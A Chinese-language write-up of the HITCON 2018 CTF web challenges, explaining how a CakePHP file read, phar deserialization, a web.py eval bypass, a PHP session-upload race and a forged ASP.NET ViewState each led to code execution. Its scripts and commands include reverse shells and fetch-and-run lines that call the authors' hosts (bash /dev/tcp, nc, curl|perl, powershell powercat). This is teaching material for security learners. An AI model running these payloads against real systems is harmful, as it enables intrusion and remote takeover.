前情提要
今年跟Balsn, BambooFox, Kerkeryuan共四隊一起組成BFKinesiS
我主要都看Web的部分,雖然很多賽中都沒做出來,但賽後花了點時間檢討了一下
所以就把檢討內容和心路歷程及中間可能碰到的坑打成這篇
Baby Cake
題目給一個輸入url的地方
送出後,他會發Request去該url,並把Response Body/Header Cache在mycache/IP/md5(url)/
下面
另外有給Source Code
稍微看一下,可以發現是用CakePHP寫的
主要邏輯在PagesController
從display()
中可以看到
1 2
| $data = $request->getQuery('data'); $url = $request->getQuery('url');
|
輸入有這兩個地方,中間會經過parse_url
判斷scheme是否為http
或https
並且只允許這幾個HTTP Method: get
, post
, put
, delete
, patch
可以注意到,只有get
method會去做Cache
1 2 3 4 5 6 7 8
| $key = md5($url); if ($method == 'get') { $response = $this->cache_get($key); if (!$response) { $response = $this->httpclient($method, $url, $headers, null); $this->cache_set($key, $response); } }
|
比較吸引人的地方是,他在存放Header進Cache時,會經過Serialize:
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
然後在取出Cache時,會Unserialize:
$headers = unserialize($headers);
但仔細跟了一下,會發現沒有可以利用的地方,我們沒辦法完全控制unserialize($headers)
的輸入
所以只能放棄這條路,但看來看去,好像也沒其他地方有洞
最後跟了一下他的httpclient()
,他裡面其實包了Client
,也就是Cake\Http\Client
1 2
| $http = new Client(); return $http->$method($url, $data, $options);
|
跟進去看一下,可以發現它每個method都有一個function做處理,但基本架構都差不多
所以先跟get()
看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function get($url, $data = [], array $options = []) { $options = $this->_mergeOptions($options); $body = null; if (isset($data['_content'])) { $body = $data['_content']; unset($data['_content']); } $url = $this->buildUrl($url, $data, $options); return $this->_doRequest( Request::METHOD_GET, $url, $body, $options ); }
|
裡頭呼叫buildUrl($url, $data, $options)
,跟進去可以看到,當options, data為空時,會直接return
所以對get()
來說,這邊不會做啥事情
繼續看下去,他會呼叫__doRequest(Request::METHOD_GET,$url,$body,$options);
裡頭又呼叫_createRequest($method,$url,$data,$options);
再跟進去看,裡頭先對header做處理,然後呼叫new Request($url, $method, $headers, $data);
繼續往Request.php追:
1 2 3 4 5 6 7 8 9 10 11 12
| public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null) { $this->validateMethod($method); $this->method = $method; $this->uri = $this->createUri($url); $headers += [ 'Connection' => 'close', 'User-Agent' => 'CakePHP' ]; $this->addHeaders($headers); $this->body($data); }
|
這裡會先呼叫validateMethod($method)
做一些判斷,但沒啥可利用的地方
接著呼叫createUri($url)
,跟進去會看到return new Uri($uri)
其實這邊後面再跟下去,也沒啥可以利用的地方
後面在做的事情大概是先parseUri($uri)
,然後裡面會parse_url($uri)
,接著設定scheme, userInfo, host, port, path, …
跟完這邊,再往回看,回到剛剛的Request::__construct
裡頭會呼叫$this->addHeaders($headers)
,但一樣沒啥值得利用的地方
最後會呼叫$this->body($data)
可以發現當$body ($data)
為Array時,會去
1 2 3 4 5 6
| if (is_array($body)) { $formData = new FormData(); $formData->addMany($body); $this->header('Content-Type', $formData->contentType()); $body = (string)$formData; }
|
跟進addMany()
瞧瞧
1 2 3
| foreach ($data as $name => $value) { $this->add($name, $value); }
|
裡頭對$data
每個元素做add()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function add($name, $value = null) { if (is_array($value)) { $this->addRecursive($name, $value); } elseif (is_resource($value)) { $this->addFile($name, $value); } elseif (is_string($value) && strlen($value) && $value[0] === '@') { trigger_error( 'Using the @ syntax for file uploads is not safe and is deprecated. ' . 'Instead you should use file handles.', E_USER_DEPRECATED ); $this->addFile($name, $value); } elseif ($name instanceof FormDataPart && $value === null) { $this->_hasComplexPart = true; $this->_parts[] = $name; } else { $this->_parts[] = $this->newPart($name, $value); } return $this; }
|
我們可以發現當$value
為@
開頭的字串時,雖然會trigger_error,但後面會繼續addFile($name, $value)
跟進去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public function addFile($name, $value) { $this->_hasFile = true; $filename = false; $contentType = 'application/octet-stream'; if (is_resource($value)) { $content = stream_get_contents($value); if (stream_is_local($value)) { $finfo = new finfo(FILEINFO_MIME); $metadata = stream_get_meta_data($value); $contentType = $finfo->file($metadata['uri']); $filename = basename($metadata['uri']); } } else { $finfo = new finfo(FILEINFO_MIME); $value = substr($value, 1); $filename = basename($value); $content = file_get_contents($value); $contentType = $finfo->file($value); } $part = $this->newPart($name, $content); $part->type($contentType); if ($filename) { $part->filename($filename); } $this->add($part); return $part; }
|
Bang! 終於找到一點有趣的東西惹
可以看到他會把$value
直接丟進file_get_contents($value)
統整一下,這個$value
是從$data
陣列來的,而$data
是直接從getQuery('data')
來的!
繼續往下跟,會發現它把讀出來的內容直接透過fopen
送到$url
指定的地方
所以我們到這邊就有一個任意讀檔漏洞!
Payload:
1 2 3
| import requests s = requests.session() s.post('http://13.230.134.135/', params={'url': 'http://yourip:yourport', 'data[]': '@/etc/passwd'})
|
這邊得感謝隊友發現這個洞,我第一次review時,看完_createUri
就剛好沒跟到body()
,然後繼續往回跟send()
偏偏send()
後面還有非常一長串的calling chain,所以一整晚的時間就這樣沒了…
全部跟完,還以為沒洞,結果原來是少跟一個function…
OK
接下來,可以發現它底下有/read_flag
和/flag
,沒辦法直接讀出flag
所以肯定得拿shell
但靠讀檔翻了一兩個小時,根本沒發現啥可以拿shell的東西
AWS metadata, ssh key, … 全踹過了
正當崩潰以為找錯洞時
我突然一個靈感閃現
題目給Body.cache,不就等於是讓我們上傳檔案嗎
然後file_get_contents()
參數又可以塞PHP wrapper
那不就可以用今年最潮的phar://
去反序列化嗎!
眼看離比賽結束已經不到1小時,只好拼拼看惹
一開始以為要自己構造POP chain,後來隊友發現phpggc有Monolog
而從source code可以看到也用了在漏洞影響範圍內的Monolog
!
Monolog/RCE1 1.18 <= 1.23 rce __destruct
composer.json:
"monolog/monolog": "^1.23"
讚,立馬clone phpggc下來構造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php namespace GadgetChain\Monolog; class RCE1 extends \PHPGGC\GadgetChain\RCE { public $version = '1.18 <= 1.23'; public $vector = '__destruct'; public $author = 'cf'; public function generate(array $parameters) { $code = "bash -c 'bash -i >& /dev/tcp/kaibro.tw/10001 0>&1'"; @unlink('exp.phar'); $p = new \Phar('exp.phar'); $p->startBuffering(); $p->setStub("<?php __HALT_COMPILER();?>"); $p->addFromString("test.txt", "test"); $p->setMetadata(new \Monolog\Handler\SyslogUdpHandler(new \Monolog\Handler\BufferHandler(['current', 'system'],[$code, 'level' => null]))); $p->stopBuffering(); } }
|
跑完會生成exp.phar
然後傳到我自己的Server: kaibro.tw/exp.phar
接著透過以下腳本觸發反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests import sys import hashlib m = hashlib.md5() ip = '1.2.3.4' r = requests.get('http://13.230.134.135/?url='+sys.argv[1]) s = requests.session() m.update(sys.argv[1]) pay = "phar:///var/www/html/tmp/cache/mycache/"+ip+"/"+m.hexdigest()+"/body.cache" print pay print(s.post('http://13.230.134.135/', params={'url': 'http://kaibro.tw:6666/', 'data[]': '@'+pay}))
|
即可成功Reverse shell回來
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| www-data@ip-172-31-24-186:/$ ls -a ls -a . .. bin boot dev etc flag home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc read_flag root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old www
|
hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}
不過賽中其實沒拿到flag,後來賽後debug才發現payload中的/read_flag
忘記加斜線…
如果當時乖乖reverse shell就好惹QQ
Oh My Raddit & v2
這題分類是Web+Crypto
其中第一題的flag是Encryption key
然後有給提示:
assert ENCRYPTION_KEY.islower()
接著觀察題目
可以發現,題目大致上都由參數s
來決定要做啥行為
而會帶s
參數的地方,可以分成三種:
- 文章連結
- 下載連結
- 顯示文章數 (最上頭那個下拉選單)
觀察下載連結,可以發現:
- 結尾都是
3ca92540eb2d0a42
(8 bytes)
- 開頭都是
2e7e305f2da018a2cf8208fa1fefc238
(16 bytes)
並且還發現似乎標題愈長,s就愈長
然後顯示文章數的地方也可以發現:
total 10: 06e77f2958b65ffd3ca92540eb2d0a42
total 100: 06e77f2958b65ffd2c0f7629b9e19627
只有後8 bytes不同
一臉ECB mode樣,且block size很明顯是8
從frequency可以發現3ca92540eb2d0a42
出現次數非常高
可以大膽猜測他就是padding
到這邊我就去睡覺了
然後睡醒就發現,隊友猜出DES,然後硬爆出來key: megnnaro
(DES中,每個字元的二進位最低位不會參與運算,再加上提示說key都是小寫,所以key space只有abdfhjlnprtvxz
,可以直接暴力踹key。似乎有機會踹到等價的key,但沒差可以去解密文然後載app.py
讀code)
第一題flag: hitcon{megnnaro}
(賽後看到orange說可以用hashcat秒爆: sudo hashcat -a 3 -m 14000 '3ca92540eb2d0a42:0808080808080808' -1 DESALL.txt --hex-charset ?1?1?1?1?1?1?1?1 -n 4 --force --potfile-disable
)
接著我就繼續看v2的部分
有了key之後,就能還原明文,然後可以修改下載功能的檔名,達到任意下載
第一步當然就是看 app.py: m=d&f=app.py
https://github.com/w181496/CTF/blob/master/hitcon2018/OhMyRaddit/app.py
可以看到他使用web.py
參數m
為r
代表取出record,為d
代表下載,為p
代表抓文章(可以設定limit)
剛好之前有瞄過web.py的洞
所以我很快就找到這個 issue
可以看到他這邊是對RCE做的防禦,他下面有個邪惡的eval
也因為很久以前聽過,所以大概猜到這邊可以繞過dictionary['__builtins__'] = object()
而只需要從m=p&l=${command}
就會從limit走到eval那邊
接著就是Bypass了
隊友一個秒速Bypass:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import os import urllib import urlparse import requests from Crypto.Cipher import DES ENCRPYTION_KEY = 'megnnaro' def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') tmp = { 'm': 'p', 'l': "${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc kaibro.tw 6666',shell=1)}" } print(encrypt(urllib.urlencode(tmp))) r = requests.get("http://13.115.255.46/?s="+encrypt(urllib.urlencode(tmp))) print(r.text)
|
hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
One Line PHP Challenge
神題,只有短短一行,但只有3隊解掉
看到這題,第一個想到的就是踹各種PHP Wrapper/Protocol
1 2 3 4 5 6 7 8 9 10 11 12
| file:// — Accessing local filesystem http:// — Accessing HTTP(s) URLs ftp:// — Accessing FTP(s) URLs php:// — Accessing various I/O streams zlib:// — Compression Streams data:// — Data (RFC 2397) glob:// — Find pathnames matching pattern phar:// — PHP Archive ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — Audio streams expect:// — Process Interaction Streams
|
由於allow_url_include
沒開,所以很多wrapper到了include()
都沒辦法利用
接著就很自然地想到phpinfo+lfi去RCE的套路
(沒聽過這個經典招的可以參考這個: https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
硬傳檔案上去,然後再刪除前的這短暫時間去Race Condition include拿shell
只是這題沒辦法直接取得tmp檔名,而且賽後才知道Ubuntu 17後預設開啟PrivateTmp
,所以沒辦法使用這招拿shell
前幾天才聽cyku提過這個,但沒想到Ubuntu高版本預設會啟用…
PrivateTmp細節可以看這篇 https://www.cnblogs.com/lihuobao/p/5624071.html
然後賽後檢討才知道,原來預設會開session.upload_progress
(之前在某場中國CTF似乎碰過,但我賽中完全沒想到QQ)
他主要是用來給我們監控上傳檔案進度的功能
詳細可以參考 http://php.net/manual/zh/session.upload-progress.php
簡單說,當session.upload_progress.enabled
開啟時,我們可以發送POST請求
PHP會在$_SESSION
中添加我們的資料,若配合LFI,就能getshell
當session.upload_progress.cleanup=on
時,上傳成功的Session會立刻銷毀,必須Race condition來getshell
由於題目有給我們版本資訊,我們可以知道該版本session存放路徑為/var/lib/php/sessions
成功上傳的SESSION內容會放在sess_{PHPSESSID}
中
裡頭內容大致上長這樣:
1
| upload_progress_aaaa|a:5:{s:10:"start_time";i:1540600520;s:14:"content_length";i:7182;s:15:"bytes_processed";i:5357;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"f";s:4:"name";s:6:"passwd";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540600520;s:15:"bytes_processed";i:5357;}}}
|
所以我們已經可以控制檔名和一部分裡頭的內容了
接著就是想辦法通過開頭為@<?php
的檢查
這裡可以利用到php warpper的特性
他可以針對輸入流做base64, rot13, …等各種encode/decode
而file
和include()
都支援這種用法
我們只要想辦法找出一種組合讓最後SESSION內容變成@<?php
開頭就行!
這邊orange官方做法是去Base64 Decode三次
讓他Decode完結果剛好前面多餘的upload_progress_
字串都爛掉,只留我們最後可控的部分
由於要decode三次,所以得保證三次decode完要變空字串,且不會吃到後面我們真正要放的@<?php xxx
這邊orange的做法是先塞ZZ
在payload前,如此一來upload_progress_ZZ
去base64 decode三次之後剛好會變空字串,且不會影響到後面
隨便亂塞的話,影響到後面的機率非常高,因為base64 decode是4個bytes、4個bytes去抓
只要中間值的範圍內可見字元非4的倍數就會往後抓,往後抓就很容易搞爛我們的payload
(p.s. php base64塞非範圍內字元不會影響結果,所以_
之類的字元不影響)
然後後面部分還要注意三次decode時,中間值不能有=
,測試發現php://filter
在base64 decode遇到XXX=YYY
這種狀況,decode會噴錯
(用base64_decode()
就不會)
所以像以下orange的exp,就特別去random找中間值不會出現=
的junk字串塞在後面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import sys import string import requests from base64 import b64encode from random import sample, randint from multiprocessing.dummy import Pool as ThreadPool HOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: payload = xxx print payload break def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename while 1: url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print [c] if sys.argv[1] == '1': runner = runner1 else: runner = runner2 pool = ThreadPool(32) result = pool.map_async( runner, range(32) ).get(0xffff)
|
除了base64_decode
外,也可以用各種encode方法,例如strip_tags
,只要讓開頭最後變成@<?php
即可
Why so Serials?
P.S. 因為以前幾乎沒碰過ASP.net的題目,所以這邊主要是根據cyku的writeup和orange的writeup整理和各種google查資料學習而來
這題題目只有一個上傳頁面Default.aspx
有給Source Code: http://13.115.118.60/Default.aspx.txt
從Code可以看到,幾乎所有可以執行的副檔名都擋光了
ASP.NET Web Project File Types
但是可以發現他沒擋掉.shtml
http://13.115.118.60/kaibro.shtml
隨便踹一下,從錯誤訊息會看到SSINC-shtml
因此可以知道Server有開SSI(Server Side Include)
所以可以透過上傳.shtml
, .shtm
等副檔名的檔案來達到File Inclusion
其實SSI也有機會直接RCE,可以用<!--#exec cmd="command"-->
但試了一下,發現Server沒開EXEC,此路不通
那我們就只能從讀檔下手了
上傳<!--#include file="../../web.config"-->
後
我們可以看到machinekey
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off"/> <machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" /> </system.web> </configuration>
|
這樣一來我們就得到Machinekey了,所以加解密、MAC都沒問題惹
所以這題另一考點就是在ViewState
ViewState會把Web Form的內容保存下來,所以我們查看網頁原始碼可以看到有一些hidden的input tag,這樣做可以減少Server負擔
(Client這邊反而Loading增加)
這邊可以看詳細ViewState介紹 https://msdn.microsoft.com/en-us/library/ms972976.aspx
最重要的地方是ViewState存放的資料會經過序列化,取出時會反序列化
所以這邊其實就有一個反序列化漏洞,透過pwntester的ysoserial.net就可以直接串Gadget去RCE
只是通常ViewState都會有加密和MAC驗證,沒辦法直接偽造
這時候Machinekey就派上用場了
但其實以這題來說,他並沒有對ViewState加密,我們可以直接得到裡頭的內容 (因為沒有設定viewStateEncryptionMode
)
Burp本身可以解ViewState,不喜歡用Burp的也可以找一些Online Decode網站去解ViewState (https://www.httpdebugger.com/tools/ViewstateDecoder.aspx)
可以看到ViewState的確不需要用Key解密,直接Decode就能解出來了
所以接著就去看該怎麼做MAC
這邊就參考Cyku的做法,直接去讀.net做MAC的Source Code
從這個連結,可以知道,ViewState是透過 ObjectStateFormatter
去做序列化的
ObjectStateFormatter is used by the PageStatePersister class and classes that derive from it to serialize view state and control state.
由於.net是open source,我們直接跟一下GitHub上的Code:
https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L766-L812
其中第798-801行:
1 2 3 4
| // We need to encode if the page has EnableViewStateMac or we got passed in some mac key string` else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) { buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length); }
|
可以猜測這邊的MachineKeySection.GetEncodedData()
應該是關鍵的邏輯部分
跟進MachineKeySection.cs
的791-823行
裡頭呼叫了852-871行的HashData
這邊857-858行的s_config.Validation == MachineKeyValidation.MD5
應該是去判斷我們web.config中Validation的方法是否是用MD5
,是的話就呼叫HashDataUsingNonKeyedAlgorithm()
繼續跟進去這個函數:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey) { int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0); byte [] bAll = new byte[totalLength]; Buffer.BlockCopy(buf, start, bAll, 0, length); if (modifier != null) { Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length); } Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length); if (hashAlgo != null) { return hashAlgo.ComputeHash(bAll); } else { byte[] newHash = new byte[MD5_HASH_SIZE]; int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length); Marshal.ThrowExceptionForHR(hr); return newHash; } }
|
這邊可以觀察到他會把buf
從offset 0複製到bAll
offset 0開始的位置,複製length長度
後面會將modifier
從offset 0複製到bAll
offset length開始的位置,也就是從剛剛前面的位置後面繼續複製
最後會再把validationKey
從offset複製到bAll
offset length開始的位置,也就是直接把剛剛modifier又蓋掉
而modifier
的來源是ObjectStateFormatter.cs
裡Serialize()
的第800行:
1
| buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
|
這邊的GetMacKeyModifier()
GetMacKeyModifier()
的Source Code在ObjectStateFormatter.cs
的212-242行
可以觀察到在viewStateUserKey != null
時,回傳的_macKeyBytes
只有4 bytes
所以以這題情況來說,modifier
的BlockCopy就完全沒意義,因為他跟validationKey
寫入的位置一樣,而validationKey
長度又比modifier
長
buffer都複製完後,就會開始做以下的Hash:
1 2 3 4
| byte[] newHash = new byte[MD5_HASH_SIZE]; int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length); Marshal.ThrowExceptionForHR(hr); return newHash;
|
這邊雖然函數名是GetSHA1Hash
,但實際回傳是MD5 Hash
所以總結一下,MD5 最後的MAC其實是:
md5(serialized_data + validation_key + "\x00\x00\x00\x00")
最後有4 bytes 0的原因是:
1 2
| int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0); byte [] bAll = new byte[totalLength];
|
bAll
在create時,它的長度是serialized data長度+validationKey
長度+modifier
長度
可是我們modifier
和validationKey
實際上重疊了,所以會多出最後的modifier
長度的空間
到目前為止我們已經知道MAC的生成方法了
接著我們要偽造ViewState,就只需要把偽造的Seriailzed data按照上面方法簽完MAC,再串起來做Base64即可:
Base64(serialized_data + MAC)
即:
Base64(serialized_data + md5(serialized_data + validation_key + "\x00\x00\x00\x00"))
OK
懂算法後就能構造Payload了
ysoserial.net
得先裝個VisualStudio環境Build來跑,頗麻煩
下這行指令就能生成Base64後的Serialized data:
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5278 -e cmd" -o base64
接著,就照著前面算法去算MAC並append到serialized_data後面做base64:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import base64 import hashlib serialized_data_b64 = "/wEy7xIAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAtQEvYyBwb3dlcnNoZWxsIElFWCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZXNpbW9yaGluby9wb3dlcmNhdC9tYXN0ZXIvcG93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMga2FpYnJvLnR3IC1wIDUyNzggLWUgY21kBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=" validation_key = "b07b0f97365416288cf0247cffdf135d25f6be87".decode('hex') serialized_data = base64.b64decode(serialized_data_b64) m = hashlib.md5() m.update(serialized_data + validation_key + "\x00\x00\x00\x00") payload = base64.b64encode(serialized_data + m.digest()) print(payload)
|
得到的payload就是一個合法的ViewState value,直接塞過去就能Reverse shell !
hitcon{c0ngratulati0ns! you are .net king!}
好玩又實用的題目XD
Reference